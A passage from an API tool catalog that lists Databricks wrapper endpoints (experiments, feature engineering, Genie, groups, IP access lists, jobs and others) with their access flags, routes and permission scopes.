/api/v1/tools/databricks/experiments-delete-logged-model. Scopes: ml:write. databricks_experiments_delete_logged_model_tag (write, destructive) — DESTRUCTIVE - Delete a tag on a logged model. POST /api/v1/tools/databricks/experiments-delete-logged-model-tag. Scopes: ml:write. databricks_experiments_delete_run (write, destructive) — DESTRUCTIVE — Marks a run for deletion. POST /api/2.0/mlflow/runs/delete on Databricks. Requires run_id. POST /api/v1/tools/databricks/experiments-delete-run. Scopes: ml:write. databricks_experiments_delete_runs (write, destructive) — DESTRUCTIVE - Bulk delete runs in an experiment that were created prior to or at the specified timestamp. Deletes at most max_runs per request. To call this API from a Databricks Notebook in Python, you can use the client code snippet on POST /api/v1/tools/databricks/experiments-delete-runs. Scopes: ml:write. databricks_experiments_delete_tag (write, destructive) — DESTRUCTIVE - Deletes a tag on a run. Tags are run metadata that can be updated during a run and after a run completes. POST /api/v1/tools/databricks/experiments-delete-tag. Scopes: ml:write. databricks_experiments_finalize_logged_model (write) — Finalize a logged model. PATCH /api/2.0/mlflow/logged-models/{model_id} on Databricks. Requires model_id, status. POST /api/v1/tools/databricks/experiments-finalize-logged-model. Scopes: ml:write. databricks_experiments_get_by_name (read) — Gets metadata for an experiment. This endpoint will return deleted experiments, but prefers the active experiment if an active and deleted experiment share the same name. If multiple deleted experiments share the same name, the API will return one of them... GET /api/v1/tools/databricks/experiments-get-by-name. Scopes: ml:read. databricks_experiments_get_experiment (read) — Gets metadata for an experiment. This method works on deleted experiments. GET /api/v1/tools/databricks/experiments-get-experiment. Scopes: ml:read. databricks_experiments_get_history (read) — Gets a list of all values for the specified metric for a given run. GET /api/v1/tools/databricks/experiments-get-history. Scopes: ml:read. databricks_experiments_get_logged_model (read) — Get a logged model. GET /api/2.0/mlflow/logged-models/{model_id} on Databricks. Requires model_id. GET /api/v1/tools/databricks/experiments-get-logged-model. Scopes: ml:read. databricks_experiments_get_logged_models (read) — Batch endpoint for getting logged models from a list of model IDs GET /api/v1/tools/databricks/experiments-get-logged-models. Scopes: ml:read. databricks_experiments_get_permission_levels (read) — Gets the permission levels that a user can have on an object. GET /api/v1/tools/databricks/experiments-get-permission-levels. Scopes: ml:read. databricks_experiments_get_permissions (read) — Gets the permissions of an experiment. Experiments can inherit permissions from their root object. GET /api/v1/tools/databricks/experiments-get-permissions. Scopes: ml:read. databricks_experiments_get_run (read) — Gets the metadata, metrics, params, and tags for a run. In the case where multiple metrics with the same key are logged for a run, return only the value with the latest timestamp. If there are multiple values with the latest timestamp, return the maximum of... GET /api/v1/tools/databricks/experiments-get-run. Scopes: ml:read. databricks_experiments_list_artifacts (read) — List artifacts for a run. Takes an optional ``artifact_path`` prefix which if specified, the response contains only artifacts with the specified prefix. A maximum of 1000 artifacts will be retrieved for UC Volumes. Please call... GET /api/v1/tools/databricks/experiments-list-artifacts. Scopes: ml:read. databricks_experiments_list_experiments (read) — Gets a list of all experiments. GET /api/2.0/mlflow/experiments/list on Databricks. GET /api/v1/tools/databricks/experiments-list-experiments. Scopes: ml:read. databricks_experiments_log_batch (write) — Logs a batch of metrics, params, and tags for a run. If any data failed to be persisted, the server will respond with an error (non-200 status code). In case of error (due to internal server error or an invalid request), partial data may be written. You can... POST /api/v1/tools/databricks/experiments-log-batch. Scopes: ml:write. databricks_experiments_log_inputs (write) — Logs inputs, such as datasets and models, to an MLflow Run. POST /api/v1/tools/databricks/experiments-log-inputs. Scopes: ml:write. databricks_experiments_log_logged_model_params (write) — Logs params for a logged model. A param is a key-value pair (string key, string value). Examples include hyperparameters used for ML model training. A param can be logged only once for a logged model, and attempting to overwrite an existing param with a... POST /api/v1/tools/databricks/experiments-log-logged-model-params. Scopes: ml:write. databricks_experiments_log_metric (write) — Log a metric for a run. A metric is a key-value pair (string key, float value) with an associated timestamp. Examples include the various metrics that represent ML model accuracy. A metric can be logged multiple times. POST /api/v1/tools/databricks/experiments-log-metric. Scopes: ml:write. databricks_experiments_log_model (write) — **Note:** the [Create a logged model](/api/workspace/experiments/createloggedmodel) API replaces this endpoint. Log a model to an MLflow Run. POST /api/v1/tools/databricks/experiments-log-model. Scopes: ml:write. databricks_experiments_log_outputs (write) — Logs outputs, such as models, from an MLflow Run. POST /api/v1/tools/databricks/experiments-log-outputs. Scopes: ml:write. databricks_experiments_log_param (write) — Logs a param used for a run. A param is a key-value pair (string key, string value). Examples include hyperparameters used for ML model training and constant dates and values used in an ETL pipeline. A param can be logged only once for a run. POST /api/v1/tools/databricks/experiments-log-param. Scopes: ml:write. databricks_experiments_restore_experiment (write) — Restore an experiment marked for deletion. This also restores associated metadata, runs, metrics, params, and tags. If experiment uses FileStore, underlying artifacts associated with experiment are also restored. Throws ``RESOURCE_DOES_NOT_EXIST`` if... POST /api/v1/tools/databricks/experiments-restore-experiment. Scopes: ml:write. databricks_experiments_restore_run (write) — Restores a deleted run. This also restores associated metadata, runs, metrics, params, and tags. Throws ``RESOURCE_DOES_NOT_EXIST`` if the run was never created or was permanently deleted. POST /api/v1/tools/databricks/experiments-restore-run. Scopes: ml:write. databricks_experiments_restore_runs (write) — Bulk restore runs in an experiment that were deleted no earlier than the specified timestamp. Restores at most max_runs per request. To call this API from a Databricks Notebook in Python, you can use the client code snippet on POST /api/v1/tools/databricks/experiments-restore-runs. Scopes: ml:write. databricks_experiments_search_experiments (write) — Searches for experiments that satisfy specified search criteria. POST /api/v1/tools/databricks/experiments-search-experiments. Scopes: ml:write. databricks_experiments_search_logged_models (write) — Search for Logged Models that satisfy specified search criteria. POST /api/v1/tools/databricks/experiments-search-logged-models. Scopes: ml:write. databricks_experiments_search_runs (write) — Searches for runs that satisfy expressions. Search expressions can use ``mlflowMetric`` and ``mlflowParam`` keys. POST /api/v1/tools/databricks/experiments-search-runs. Scopes: ml:write. databricks_experiments_set_experiment_tag (write) — Sets a tag on an experiment. Experiment tags are metadata that can be updated. POST /api/v1/tools/databricks/experiments-set-experiment-tag. Scopes: ml:write. databricks_experiments_set_logged_model_tags (write) — Set tags for a logged model. PATCH /api/2.0/mlflow/logged-models/{model_id}/tags on Databricks. Requires model_id. POST /api/v1/tools/databricks/experiments-set-logged-model-tags. Scopes: ml:write. databricks_experiments_set_tag (write) — Sets a tag on a run. Tags are run metadata that can be updated during a run and after a run completes. POST /api/v1/tools/databricks/experiments-set-tag. Scopes: ml:write. databricks_experiments_update_experiment (write) — Updates experiment metadata. POST /api/2.0/mlflow/experiments/update on Databricks. Requires experiment_id. POST /api/v1/tools/databricks/experiments-update-experiment. Scopes: ml:write. databricks_experiments_update_run (write) — Updates run metadata. POST /api/2.0/mlflow/runs/update on Databricks. POST /api/v1/tools/databricks/experiments-update-run. Scopes: ml:write. databricks_external_lineage_create_external_lineage_relationship (write) — Creates an external lineage relationship between a Databricks or external metadata object and another external metadata object. POST /api/v1/tools/databricks/external-lineage-create-external-lineage-relationship. Scopes: catalog:write. databricks_external_lineage_delete_external_lineage_relationship (write, destructive) — DESTRUCTIVE - Deletes an external lineage relationship between a Databricks or external metadata object and another external metadata object. POST /api/v1/tools/databricks/external-lineage-delete-external-lineage-relationship. Scopes: catalog:write. databricks_external_lineage_list_external_lineage_relationships (read) — Lists external lineage relationships of a Databricks object or external metadata given a supplied direction. GET /api/v1/tools/databricks/external-lineage-list-external-lineage-relationships. Scopes: catalog:read. databricks_external_lineage_update_external_lineage_relationship (write) — Updates an external lineage relationship between a Databricks or external metadata object and another external metadata object. POST /api/v1/tools/databricks/external-lineage-update-external-lineage-relationship. Scopes: catalog:write. databricks_external_locations_create (write) — Creates a new external location entry in the metastore. The caller must be a metastore admin or have the **CREATE_EXTERNAL_LOCATION** privilege on both the metastore and the associated storage credential. POST /api/v1/tools/databricks/external-locations-create. Scopes: catalog:write. databricks_external_locations_delete (write, destructive) — DESTRUCTIVE - Deletes the specified external location from the metastore. The caller must be the owner of the external location. POST /api/v1/tools/databricks/external-locations-delete. Scopes: catalog:write. databricks_external_locations_get (read) — Gets an external location from the metastore. The caller must be either a metastore admin, the owner of the external location, or a user that has some privilege on the external location. GET /api/v1/tools/databricks/external-locations-get. Scopes: catalog:read. databricks_external_locations_list (read) — Gets an array of external locations (**ExternalLocationInfo** objects) from the metastore. The caller must be a metastore admin, the owner of the external location, or a user that has some privilege on the external location. There is no guarantee of a... GET /api/v1/tools/databricks/external-locations-list. Scopes: catalog:read. databricks_external_locations_update (write) — Updates an external location in the metastore. The caller must be the owner of the external location, or be a metastore admin. In the second case, the admin can only update the name of the external location. POST /api/v1/tools/databricks/external-locations-update. Scopes: catalog:write. databricks_external_metadata_create_external_metadata (write) — Creates a new external metadata object in the parent metastore if the caller is a metastore admin or has the **CREATE_EXTERNAL_METADATA** privilege. Grants **BROWSE** to all account users upon creation by default. POST /api/v1/tools/databricks/external-metadata-create-external-metadata. Scopes: catalog:write. databricks_external_metadata_delete_external_metadata (write, destructive) — DESTRUCTIVE - Deletes the external metadata object that matches the supplied name. The caller must be a metastore admin, the owner of the external metadata object, or a user that has the **MANAGE** privilege. POST /api/v1/tools/databricks/external-metadata-delete-external-metadata. Scopes: catalog:write. databricks_external_metadata_get_external_metadata (read) — Gets the specified external metadata object in a metastore. The caller must be a metastore admin, the owner of the external metadata object, or a user that has the **BROWSE** privilege. GET /api/v1/tools/databricks/external-metadata-get-external-metadata. Scopes: catalog:read. databricks_external_metadata_list_external_metadata (read) — Gets an array of external metadata objects in the metastore. If the caller is the metastore admin, all external metadata objects will be retrieved. Otherwise, only external metadata objects that the caller has **BROWSE** on will be retrieved. There is no... GET /api/v1/tools/databricks/external-metadata-list-external-metadata. Scopes: catalog:read. databricks_external_metadata_update_external_metadata (write) — Updates the external metadata object that matches the supplied name. The caller can only update either the owner or other metadata fields in one request. The caller must be a metastore admin, the owner of the external metadata object, or a user that has the... POST /api/v1/tools/databricks/external-metadata-update-external-metadata. Scopes: catalog:write. databricks_feature_engineering_batch_create_materialized_features (write) — Batch create materialized features. POST /api/2.0/feature-engineering/materialized-features:batchCreate on Databricks. Requires requests. POST /api/v1/tools/databricks/feature-engineering-batch-create-materialized-features. Scopes: ml:write. databricks_feature_engineering_create_feature (write) — Create a Feature. POST /api/2.0/feature-engineering/features on Databricks. POST /api/v1/tools/databricks/feature-engineering-create-feature. Scopes: ml:write. databricks_feature_engineering_create_kafka_config (write) — Create a Kafka config. During PrPr, Kafka configs can be read and used when creating features under the entire metastore. Only the creator of the Kafka config can delete it. POST /api/v1/tools/databricks/feature-engineering-create-kafka-config. Scopes: ml:write. databricks_feature_engineering_create_materialized_feature (write) — Create a materialized feature. POST /api/2.0/feature-engineering/materialized-features on Databricks. POST /api/v1/tools/databricks/feature-engineering-create-materialized-feature. Scopes: ml:write. databricks_feature_engineering_create_stream (write) — Create a Stream, a governed UC entity representing an external streaming data source. POST /api/v1/tools/databricks/feature-engineering-create-stream. Scopes: ml:write. databricks_feature_engineering_delete_feature (write, destructive) — DESTRUCTIVE — Delete a Feature. DELETE /api/2.0/feature-engineering/features/{full_name} on Databricks. Requires full_name. POST /api/v1/tools/databricks/feature-engineering-delete-feature. Scopes: ml:write. databricks_feature_engineering_delete_kafka_config (write, destructive) — DESTRUCTIVE - Delete a Kafka config. During PrPr, Kafka configs can be read and used when creating features under the entire metastore. Only the creator of the Kafka config can delete it. POST /api/v1/tools/databricks/feature-engineering-delete-kafka-config. Scopes: ml:write. databricks_feature_engineering_delete_materialized_feature (write, destructive) — DESTRUCTIVE - Delete a materialized feature. POST /api/v1/tools/databricks/feature-engineering-delete-materialized-feature. Scopes: ml:write. databricks_feature_engineering_delete_stream (write, destructive) — DESTRUCTIVE - Delete a Stream by its full three-part name (catalog.schema.stream). POST /api/v1/tools/databricks/feature-engineering-delete-stream. Scopes: ml:write. databricks_feature_engineering_get_feature (read) — Get a Feature. GET /api/2.0/feature-engineering/features/{full_name} on Databricks. Requires full_name. GET /api/v1/tools/databricks/feature-engineering-get-feature. Scopes: ml:read. databricks_feature_engineering_get_kafka_config (read) — Get a Kafka config. During PrPr, Kafka configs can be read and used when creating features under the entire metastore. Only the creator of the Kafka config can delete it. GET /api/v1/tools/databricks/feature-engineering-get-kafka-config. Scopes: ml:read. databricks_feature_engineering_get_materialized_feature (read) — Get a materialized feature. GET /api/2.0/feature-engineering/materialized-features/{materialized_feature_id} on Databricks. Requires materialized_feature_id. GET /api/v1/tools/databricks/feature-engineering-get-materialized-feature. Scopes: ml:read. databricks_feature_engineering_get_stream (read) — Get a Stream by its full three-part name (catalog.schema.stream). GET /api/v1/tools/databricks/feature-engineering-get-stream. Scopes: ml:read. databricks_feature_engineering_list_features (read) — List Features. GET /api/2.0/feature-engineering/features on Databricks. Requires catalog_name, schema_name. GET /api/v1/tools/databricks/feature-engineering-list-features. Scopes: ml:read. databricks_feature_engineering_list_kafka_configs (read) — List Kafka configs. During PrPr, Kafka configs can be read and used when creating features under the entire metastore. Only the creator of the Kafka config can delete it. GET /api/v1/tools/databricks/feature-engineering-list-kafka-configs. Scopes: ml:read. databricks_feature_engineering_list_materialized_features (read) — List materialized features. GET /api/2.0/feature-engineering/materialized-features on Databricks. GET /api/v1/tools/databricks/feature-engineering-list-materialized-features. Scopes: ml:read. databricks_feature_engineering_list_streams (read) — List Streams under a given catalog.schema parent. GET /api/v1/tools/databricks/feature-engineering-list-streams. Scopes: ml:read. databricks_feature_engineering_update_feature (write) — Update a Feature. PATCH /api/2.0/feature-engineering/features/{full_name} on Databricks. Requires full_name, update_mask. POST /api/v1/tools/databricks/feature-engineering-update-feature. Scopes: ml:write. databricks_feature_engineering_update_kafka_config (write) — Update a Kafka config. During PrPr, Kafka configs can be read and used when creating features under the entire metastore. Only the creator of the Kafka config can delete it. POST /api/v1/tools/databricks/feature-engineering-update-kafka-config. Scopes: ml:write. databricks_feature_engineering_update_materialized_feature (write) — Update a materialized feature (pause/resume). POST /api/v1/tools/databricks/feature-engineering-update-materialized-feature. Scopes: ml:write. databricks_feature_engineering_update_stream (write) — Update a Stream. Only fields listed in ``update_mask`` are mutated. POST /api/v1/tools/databricks/feature-engineering-update-stream. Scopes: ml:write. databricks_feature_store_create_online_store (write) — Create an Online Feature Store. POST /api/2.0/feature-store/online-stores on Databricks. POST /api/v1/tools/databricks/feature-store-create-online-store. Scopes: ml:write. databricks_feature_store_delete_online_store (write, destructive) — DESTRUCTIVE - Delete an Online Feature Store. POST /api/v1/tools/databricks/feature-store-delete-online-store. Scopes: ml:write. databricks_feature_store_delete_online_table (write, destructive) — DESTRUCTIVE — Delete online table. DELETE /api/2.0/feature-store/online-tables/{online_table_name} on Databricks. Requires online_table_name. POST /api/v1/tools/databricks/feature-store-delete-online-table. Scopes: ml:write. databricks_feature_store_get_online_store (read) — Get an Online Feature Store. GET /api/2.0/feature-store/online-stores/{name} on Databricks. Requires name. GET /api/v1/tools/databricks/feature-store-get-online-store. Scopes: ml:read. databricks_feature_store_list_online_stores (read) — List Online Feature Stores. GET /api/2.0/feature-store/online-stores on Databricks. GET /api/v1/tools/databricks/feature-store-list-online-stores. Scopes: ml:read. databricks_feature_store_publish_table (write) — Publish features. POST /api/2.0/feature-store/tables/{source_table_name}/publish on Databricks. Requires source_table_name, publish_spec. POST /api/v1/tools/databricks/feature-store-publish-table. Scopes: ml:write. databricks_feature_store_update_online_store (write) — Update an Online Feature Store. PATCH /api/2.0/feature-store/online-stores/{name} on Databricks. Requires name, update_mask. POST /api/v1/tools/databricks/feature-store-update-online-store. Scopes: ml:write. databricks_forecasting_create_experiment (write) — Creates a serverless forecasting experiment. Returns the experiment ID. POST /api/v1/tools/databricks/forecasting-create-experiment. Scopes: ml:write. databricks_forecasting_get_experiment (read) — Public RPC to get forecasting experiment GET /api/v1/tools/databricks/forecasting-get-experiment. Scopes: ml:read. databricks_functions_create (write) — **WARNING: This API is experimental and will change in future versions** Creates a new function The user must have the following permissions in order for the function to be created: - **USE_CATALOG** on the function's parent catalog - **USE_SCHEMA** and... POST /api/v1/tools/databricks/functions-create. Scopes: catalog:write. databricks_functions_delete (write, destructive) — DESTRUCTIVE - Deletes the function that matches the supplied name. For the deletion to succeed, the user must satisfy one of the following conditions: - Is the owner of the function's parent catalog - Is the owner of the function's parent schema and have... POST /api/v1/tools/databricks/functions-delete. Scopes: catalog:write. databricks_functions_get (read) — Gets a function from within a parent catalog and schema. For the fetch to succeed, the user must satisfy one of the following requirements: - Is a metastore admin - Is an owner of the function's parent catalog - Have the **USE_CATALOG** privilege on the... GET /api/v1/tools/databricks/functions-get. Scopes: catalog:read. databricks_functions_list (read) — List functions within the specified parent catalog and schema. If the user is a metastore admin, all functions are returned in the output list. Otherwise, the user must have the **USE_CATALOG** privilege on the catalog and the **USE_SCHEMA** privilege on... GET /api/v1/tools/databricks/functions-list. Scopes: catalog:read. databricks_functions_update (write) — Updates the function that matches the supplied name. Only the owner of the function can be updated. If the user is not a metastore admin, the user must be a member of the group that is the new function owner. - Is a metastore admin - Is the owner of the... POST /api/v1/tools/databricks/functions-update. Scopes: catalog:write. databricks_genie_create_message (write) — Create new message in a [conversation](:method:genie/startconversation). The AI response uses all previously created messages in the conversation to respond. POST /api/v1/tools/databricks/genie-create-message. Scopes: sql:write. databricks_genie_create_message_comment (write) — Create a comment on a conversation message. POST /api/v1/tools/databricks/genie-create-message-comment. Scopes: sql:write. databricks_genie_create_space (write) — Creates a Genie space from a serialized payload. POST /api/v1/tools/databricks/genie-create-space. Scopes: sql:write. databricks_genie_delete_conversation (write, destructive) — DESTRUCTIVE — Delete a conversation. DELETE /api/2.0/genie/spaces/{space_id}/conversations/{conversation_id} on Databricks. Requires space_id, conversation_id. POST /api/v1/tools/databricks/genie-delete-conversation. Scopes: sql:write. databricks_genie_delete_conversation_message (write, destructive) — DESTRUCTIVE - Delete a conversation message. POST /api/v1/tools/databricks/genie-delete-conversation-message. Scopes: sql:write. databricks_genie_download_message_attachment_visualization (read) — Download a rendered image of a message visualization attachment. The response body is the raw PNG image, not a JSON payload. This is only available if the attachment is a visualization and the message status is ``COMPLETED``. This endpoint is not supported... GET /api/v1/tools/databricks/genie-download-message-attachment-visualization. Scopes: sql:read. databricks_genie_execute_message_attachment_query (write) — Execute the SQL for a message query attachment. Use this API when the query attachment has expired and needs to be re-executed. POST /api/v1/tools/databricks/genie-execute-message-attachment-query. Scopes: sql:write. databricks_genie_execute_message_query (write) — DEPRECATED: Use [Execute Message Attachment Query](:method:genie/executemessageattachmentquery) instead. POST /api/v1/tools/databricks/genie-execute-message-query. Scopes: sql:write. databricks_genie_generate_download_full_query_result (write) — Initiates a new SQL execution and returns a ``download_id`` and ``download_id_signature`` that you can use to track the progress of the download. The query result is stored in an external link and can be retrieved using the [Get Download Full Query... POST /api/v1/tools/databricks/genie-generate-download-full-query-result. Scopes: sql:write. databricks_genie_genie_create_eval_run (write) — Create and run evaluations for multiple benchmark questions in a Genie space. POST /api/v1/tools/databricks/genie-genie-create-eval-run. Scopes: sql:write. databricks_genie_genie_get_eval_result_details (read) — Get details for evaluation results. GET /api/2.0/genie/spaces/{space_id}/eval-runs/{eval_run_id}/results/{result_id} on Databricks. Requires space_id, eval_run_id, result_id. GET /api/v1/tools/databricks/genie-genie-get-eval-result-details. Scopes: sql:read. databricks_genie_genie_get_eval_run (read) — Get evaluation run details. GET /api/2.0/genie/spaces/{space_id}/eval-runs/{eval_run_id} on Databricks. Requires space_id, eval_run_id. GET /api/v1/tools/databricks/genie-genie-get-eval-run. Scopes: sql:read. databricks_genie_genie_list_eval_results (read) — List evaluation results for a specific evaluation run. GET /api/v1/tools/databricks/genie-genie-list-eval-results. Scopes: sql:read. databricks_genie_genie_list_eval_runs (read) — Lists all evaluation runs in a space. GET /api/2.0/genie/spaces/{space_id}/eval-runs on Databricks. Requires space_id. GET /api/v1/tools/databricks/genie-genie-list-eval-runs. Scopes: sql:read. databricks_genie_get_download_full_query_result (read) — After [Generating a Full Query Result Download](:method:genie/generatedownloadfullqueryresult) and successfully receiving a ``download_id`` and ``download_id_signature``, use this API to poll the download progress. Both ``download_id`` and... GET /api/v1/tools/databricks/genie-get-download-full-query-result. Scopes: sql:read. databricks_genie_get_message (read) — Get message from conversation. GET /api/2.0/genie/spaces/{space_id}/conversations/{conversation_id}/messages/{message_id} on Databricks. Requires space_id, conversation_id, message_id. GET /api/v1/tools/databricks/genie-get-message. Scopes: sql:read. databricks_genie_get_message_attachment_query_result (read) — Get the result of SQL query if the message has a query attachment. This is only available if a message has a query attachment and the message status is ``EXECUTING_QUERY`` OR ``COMPLETED``. GET /api/v1/tools/databricks/genie-get-message-attachment-query-result. Scopes: sql:read. databricks_genie_get_message_query_result (read) — DEPRECATED: Use [Get Message Attachment Query Result](:method:genie/getmessageattachmentqueryresult) instead. GET /api/v1/tools/databricks/genie-get-message-query-result. Scopes: sql:read. databricks_genie_get_message_query_result_by_attachment (read) — DEPRECATED: Use [Get Message Attachment Query Result](:method:genie/getmessageattachmentqueryresult) instead. GET /api/v1/tools/databricks/genie-get-message-query-result-by-attachment. Scopes: sql:read. databricks_genie_get_space (read) — Get details of a Genie Space. GET /api/2.0/genie/spaces/{space_id} on Databricks. Requires space_id. GET /api/v1/tools/databricks/genie-get-space. Scopes: sql:read. databricks_genie_list_conversation_comments (read) — List all comments across all messages in a conversation. GET /api/v1/tools/databricks/genie-list-conversation-comments. Scopes: sql:read. databricks_genie_list_conversation_messages (read) — List messages in a conversation. GET /api/2.0/genie/spaces/{space_id}/conversations/{conversation_id}/messages on Databricks. Requires space_id, conversation_id. GET /api/v1/tools/databricks/genie-list-conversation-messages. Scopes: sql:read. databricks_genie_list_conversations (read) — Get a list of conversations in a Genie Space. GET /api/v1/tools/databricks/genie-list-conversations. Scopes: sql:read. databricks_genie_list_message_comments (read) — List comments on a specific conversation message. GET /api/v1/tools/databricks/genie-list-message-comments. Scopes: sql:read. databricks_genie_list_spaces (read) — Get list of Genie Spaces. GET /api/2.0/genie/spaces on Databricks. GET /api/v1/tools/databricks/genie-list-spaces. Scopes: sql:read. databricks_genie_send_message_feedback (write) — Send feedback for a message. POST /api/2.0/genie/spaces/{space_id}/conversations/{conversation_id}/messages/{message_id}/feedback on Databricks. Requires space_id, conversation_id, message_id, rating. POST /api/v1/tools/databricks/genie-send-message-feedback. Scopes: sql:write. databricks_genie_start_conversation (write) — Start a new conversation. POST /api/2.0/genie/spaces/{space_id}/start-conversation on Databricks. Requires space_id, content. POST /api/v1/tools/databricks/genie-start-conversation. Scopes: sql:write. databricks_genie_trash_space (write, destructive) — DESTRUCTIVE - Move a Genie Space to the trash. POST /api/v1/tools/databricks/genie-trash-space. Scopes: sql:write. databricks_genie_update_space (write) — Updates a Genie space with a serialized payload. POST /api/v1/tools/databricks/genie-update-space. Scopes: sql:write. databricks_git_credentials_delete (write, destructive) — DESTRUCTIVE - Deletes the specified Git credential. POST /api/v1/tools/databricks/git-credentials-delete. Scopes: workspace:write. databricks_git_credentials_get (read) — Gets the Git credential with the specified credential ID. GET /api/v1/tools/databricks/git-credentials-get. Scopes: workspace:read. databricks_git_credentials_list (read) — Lists the calling user's Git credentials. GET /api/v1/tools/databricks/git-credentials-list. Scopes: workspace:read. databricks_global_init_scripts_create (write) — Creates a new global init script in this workspace. POST /api/v1/tools/databricks/global-init-scripts-create. Scopes: compute:write. databricks_global_init_scripts_delete (write, destructive) — DESTRUCTIVE - Deletes a global init script. POST /api/v1/tools/databricks/global-init-scripts-delete. Scopes: compute:write. databricks_global_init_scripts_get (read) — Gets all the details of a script, including its Base64-encoded contents. GET /api/v1/tools/databricks/global-init-scripts-get. Scopes: compute:read. databricks_global_init_scripts_list (read) — Get a list of all global init scripts for this workspace. This returns all properties for each script but **not** the script contents. To retrieve the contents of a script, use the [get a global init script](:method:globalinitscripts/get) operation. GET /api/v1/tools/databricks/global-init-scripts-list. Scopes: compute:read. databricks_global_init_scripts_update (write) — Updates a global init script, specifying only the fields to change. All fields are optional. Unspecified fields retain their current value. POST /api/v1/tools/databricks/global-init-scripts-update. Scopes: compute:write. databricks_grants_get (read) — Gets the permissions for a securable. Does not include inherited permissions. NOTE: we recommend using max_results=0 to use the paginated version of this API. Unpaginated calls will be deprecated soon. PAGINATION BEHAVIOR: When using pagination (max_results... GET /api/v1/tools/databricks/grants-get. Scopes: catalog:read. databricks_grants_get_effective (read) — Gets the effective permissions for a securable. Includes inherited permissions from any parent securables. NOTE: we recommend using max_results=0 to use the paginated version of this API. Unpaginated calls will be deprecated soon. PAGINATION BEHAVIOR: When... GET /api/v1/tools/databricks/grants-get-effective. Scopes: catalog:read. databricks_grants_list (read) — Lists the privilege assignments for a securable. Does not include inherited privileges. Paginated version of Get Permissions API. GET /api/v1/tools/databricks/grants-list. Scopes: catalog:read. databricks_grants_list_effective (read) — Lists the effective privilege assignments for a securable. Includes inherited privileges. Paginated version of Get Effective Permissions API. GET /api/v1/tools/databricks/grants-list-effective. Scopes: catalog:read. databricks_groups_create (write) — Creates a group in the Databricks workspace with a unique name, using the supplied group details. POST /api/v1/tools/databricks/groups-create. Scopes: iam:write. databricks_groups_delete (write, destructive) — DESTRUCTIVE - Deletes a group from the Databricks workspace. POST /api/v1/tools/databricks/groups-delete. Scopes: iam:write. databricks_groups_get (read) — Gets the information for a specific group in the Databricks workspace. GET /api/v1/tools/databricks/groups-get. Scopes: iam:read. databricks_groups_list (read) — Gets all details of the groups associated with the Databricks workspace. GET /api/v1/tools/databricks/groups-list. Scopes: iam:read. databricks_groups_patch (write) — Partially updates the details of a group. POST /api/v1/tools/databricks/groups-patch. Scopes: iam:write. databricks_groups_update (write) — Updates the details of a group by replacing the entire group entity. POST /api/v1/tools/databricks/groups-update. Scopes: iam:write. databricks_groups_v2_create (write) — Creates a group in the Databricks workspace with a unique name, using the supplied group details. POST /api/v1/tools/databricks/groups-v2-create. Scopes: iam:write. databricks_groups_v2_delete (write, destructive) — DESTRUCTIVE - Deletes a group from the Databricks workspace. POST /api/v1/tools/databricks/groups-v2-delete. Scopes: iam:write. databricks_groups_v2_get (read) — Gets the information for a specific group in the Databricks workspace. GET /api/v1/tools/databricks/groups-v2-get. Scopes: iam:read. databricks_groups_v2_list (read) — Gets all details of the groups associated with the Databricks workspace. GET /api/v1/tools/databricks/groups-v2-list. Scopes: iam:read. databricks_groups_v2_patch (write) — Partially updates the details of a group. POST /api/v1/tools/databricks/groups-v2-patch. Scopes: iam:write. databricks_groups_v2_update (write) — Updates the details of a group by replacing the entire group entity. POST /api/v1/tools/databricks/groups-v2-update. Scopes: iam:write. databricks_instance_pools_create (write) — Creates a new instance pool using idle and ready-to-use cloud instances. POST /api/v1/tools/databricks/instance-pools-create. Scopes: compute:write. databricks_instance_pools_delete (write, destructive) — DESTRUCTIVE - Deletes the instance pool permanently. The idle instances in the pool are terminated asynchronously. POST /api/v1/tools/databricks/instance-pools-delete. Scopes: compute:write. databricks_instance_pools_edit (write) — Modifies the configuration of an existing instance pool. POST /api/v1/tools/databricks/instance-pools-edit. Scopes: compute:write. databricks_instance_pools_get (read) — Retrieve the information for an instance pool based on its identifier. GET /api/v1/tools/databricks/instance-pools-get. Scopes: compute:read. databricks_instance_pools_get_permission_levels (read) — Gets the permission levels that a user can have on an object. GET /api/v1/tools/databricks/instance-pools-get-permission-levels. Scopes: compute:read. databricks_instance_pools_get_permissions (read) — Gets the permissions of an instance pool. Instance pools can inherit permissions from their root object. GET /api/v1/tools/databricks/instance-pools-get-permissions. Scopes: compute:read. databricks_instance_pools_list (read) — Gets a list of instance pools with their statistics. GET /api/v1/tools/databricks/instance-pools-list. Scopes: compute:read. databricks_instance_profiles_add (write) — Registers an instance profile in Databricks. In the UI, you can then give users the permission to use this instance profile when launching clusters. This API is only available to admin users. POST /api/v1/tools/databricks/instance-profiles-add. Scopes: compute:write. databricks_instance_profiles_edit (write) — The only supported field to change is the optional IAM role ARN associated with the instance profile. It is required to specify the IAM role ARN if both of the following are true: - Your role name and instance profile name do not match. The name is the part... POST /api/v1/tools/databricks/instance-profiles-edit. Scopes: compute:write. databricks_instance_profiles_list (read) — List the instance profiles that the calling user can use to launch a cluster. This API is available to all users. GET /api/v1/tools/databricks/instance-profiles-list. Scopes: compute:read. databricks_instance_profiles_remove (write, destructive) — DESTRUCTIVE - Remove the instance profile with the provided ARN. Existing clusters with this instance profile will continue to function. This API is only accessible to admin users. POST /api/v1/tools/databricks/instance-profiles-remove. Scopes: compute:write. databricks_ip_access_lists_create (write) — Creates an IP access list for this workspace. A list can be an allow list or a block list. See the top of this file for a description of how the server treats allow lists and block lists at runtime. When creating or updating an IP access list: - For all... POST /api/v1/tools/databricks/ip-access-lists-create. Scopes: settings:write. databricks_ip_access_lists_delete (write, destructive) — DESTRUCTIVE - Deletes an IP access list, specified by its list ID. POST /api/v1/tools/databricks/ip-access-lists-delete. Scopes: settings:write. databricks_ip_access_lists_get (read) — Gets an IP access list, specified by its list ID. GET /api/v1/tools/databricks/ip-access-lists-get. Scopes: settings:read. databricks_ip_access_lists_list (read) — Gets all IP access lists for the specified workspace. GET /api/v1/tools/databricks/ip-access-lists-list. Scopes: settings:read. databricks_ip_access_lists_replace (write) — Replaces an IP access list, specified by its ID. A list can include allow lists and block lists. See the top of this file for a description of how the server treats allow lists and block lists at run time. When replacing an IP access list: - For all allow... POST /api/v1/tools/databricks/ip-access-lists-replace. Scopes: settings:write. databricks_ip_access_lists_update (write) — Updates an existing IP access list, specified by its ID. A list can include allow lists and block lists. See the top of this file for a description of how the server treats allow lists and block lists at run time. When updating an IP access list: - For all... POST /api/v1/tools/databricks/ip-access-lists-update. Scopes: settings:write. databricks_jobs_cancel_all_runs (write, destructive) — DESTRUCTIVE - Cancels all active runs of a job. The runs are canceled asynchronously, so it doesn't prevent new runs from being started. POST /api/v1/tools/databricks/jobs-cancel-all-runs. Scopes: jobs:write. 